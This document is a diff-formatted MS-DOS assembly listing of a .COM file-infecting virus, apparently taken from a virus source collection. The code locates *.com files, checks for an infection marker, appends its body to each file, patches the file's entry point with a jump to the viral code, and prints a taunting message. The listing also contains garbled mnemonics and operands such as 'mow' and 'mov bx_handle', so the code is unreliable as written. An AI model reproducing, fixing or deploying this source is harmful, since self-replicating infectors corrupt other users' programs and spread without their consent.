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MSDOS/Virus.MSDOS.Unknown.vir.asm

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+	.8086
+	page	,132
+cseg    segment
+	assume cs:cseg,ds:cseg,es:cseg
+	org 100h
+start:
+	db	0E9h
+	dw 	15h
+id	dw	0FFFFh 
+	org 110h
+virus:
+	push	ds
+	mov	ax,cs
+	db 	00000101b
+new_ds	dw	0FFFFh
+	mow	ds,ax	
+
+restore_3_bytes:
+	mow	al,bytes_3[0]
+	mow	byte ptr cs:[100h],al
+	mow 	al,bytes_3[1]
+	mow	byte ptr cs:[101h],al
+	mov	al,bytes_3[2]
+	mow	byte ptr cs:[102h],al
+
+store_dta:
+	mow	cx,100h
+	mov	bx,0
+dta_s:
+	mov	al,byte ptr cs:[bx]
+	mov	byte ptr dta[bx],al
+	inc	bx
+	loop	dta_s
+
+find_first:
+	lea	dx,fmask
+	mov	cx,00100000b
+	mov	ah,4Eh
+	int	21h
+	jnc	store_fname
+	jmp	err
+find_next:
+	mov	bx,handle
+	mov	ah,3Eh
+	int	21h
+	mov	handle,0FFFFh
+	mov	ah,4Fh
+	int	21h
+	jnc	store_fname
+	jmp	err
+
+store_fname:
+	cmp	byte ptr cs:[95h],00000001b
+	je	find_next
+	mov	bx,0
+next_sym:
+	mov	al,byte ptr cs:[bx+9Eh]
+	mov	fname[bx],al
+	cmp	byte ptr cs:[bx+9Eh],0
+	je	set_attrib
+	inc	bx
+	cmp	bx,13
+	jng	next_sym
+	jmp	err
+
+set_attrib:
+	lea	dx,fname
+	mov	cx,00100000b
+	mov	ax,4301h
+	int	21h
+	jnc	read_handle
+	jmp	err
+
+read_handle:
+	lea	dx,fname
+	mov	ax,3D02h
+	int	21h
+	jnc	read_3_bytes
+	jmp	err
+
+read_3_bytes:
+	mov	handle,ax
+	lea	dx,bytes_3
+	mov	bx_handle
+	mov	cx_3
+	mov	ax,3Fh
+	int 	21h
+	jnc	read_flen
+	jmp	err
+
+read_flen:
+	mov	cx,0
+	mov	dx,0
+	mov	bx,handle
+	mov	al,2
+	mov	ah,42h
+	int	21h
+	jnc	check_id
+	jmp	err
+
+check_id:
+	mov	flenold,ax
+	test	ax,00001111b
+	jz	just
+	or	ax,00001111b
+	inc	ax
+
+just:
+	mov	flen,ax
+	cmp	ax,64500
+	jna	calc_ds
+	jmp	find_next
+
+calc_ds:
+	mov	cl,4
+	shr	ax,cl
+	dec	ax
+	mov	byte ptr new_ds[0],al
+	mov	byte ptr new_ds[1],ah
+	mov	cx,0
+	mov	dx,flenold
+	dec	dx
+	mov	bx,handle
+	mov	al,0
+	mov	ah,42h
+	int	21h
+	jnc	read_id
+	jmp	err
+
+read_id:
+	lea	dx,bytes_3[3]
+	mov	bx,handle
+	mov	cx,1
+	mov	ah,3Fh
+	int	21h
+	jnc	test_id
+	jmp	find_next
+test_id:
+	cmp	bytes_3[3],'$'
+	jne	not_infected
+	jmp	find_next
+not_infected:
+	mov	ax,flen
+	sub	ax,03h
+	mov	jmp_l,al
+	mov	jmp_h,ah
+	mov	cx,0
+	mov	dx,flen
+	mov	bx,handle
+	mov	ax,4200h
+	int	21h
+	jc	err
+	lea	dx,virus
+	mov	cx,virlen
+	mov	bx,handle
+	mov	ah,40h
+	int	21h
+	jc	err
+
+write_jmp:
+	mov	cx,0
+	mov	dx,0
+	mov	bx,handle
+	mov	al,0
+	mov	ah,42h
+	int	21h
+	jc	err
+	lea	dx,jmpvir
+	mov	cx,3
+	mov	bx,handle
+	mov	ah,40h
+	int	21h
+	jc	err
+
+print_msg:
+	lea	dx,msg
+	mov	ah,09h
+	int	21h
+
+err:
+	cmp	handle,0FFFFh
+	je	exit
+
+close_file:
+	mov	bx,handle
+	mov	ah,3Eh
+	int	21h
+exit:
+	cmp	cs:[id],0FFFFh
+	je	goto_dos
+restore_dta:
+	mov	cx,100h
+	mov	bx,0
+dta_r:
+	mov	al,byte ptr dta[bx]
+	mov	byte ptr cs:[bx],al
+	inc	bx
+	loop	dta_r
+
+goto_start:
+	mov	ax,cs
+	mov	ds:[start_s],ax
+	pop	ds
+	db	DEAh
+	dw	0100h
+start_s	dw	(?)
+
+goto_dos
+	mov	ax,4C00h
+	int	21h
+
+fmask	db	'*.com',0h
+fname	db	12 dup (?),0h
+flenold	dw	(?)
+flen	dw	(?)
+handle	dw	0FFFFh
+jmpvir	db	0E9h
+jmp_l	db	(?)
+jmp_n	db	(?)
+bytes_3	db	3 dup (?)
+	db	(?)
+dta	db	101h dup (?)
+msg	db	0Ah,0Dh,'Hallo! I have got a virus for you!',0Ah,0Dh,'$'
+virlen	equ	$-virus
+
+cseg	ends
+	end start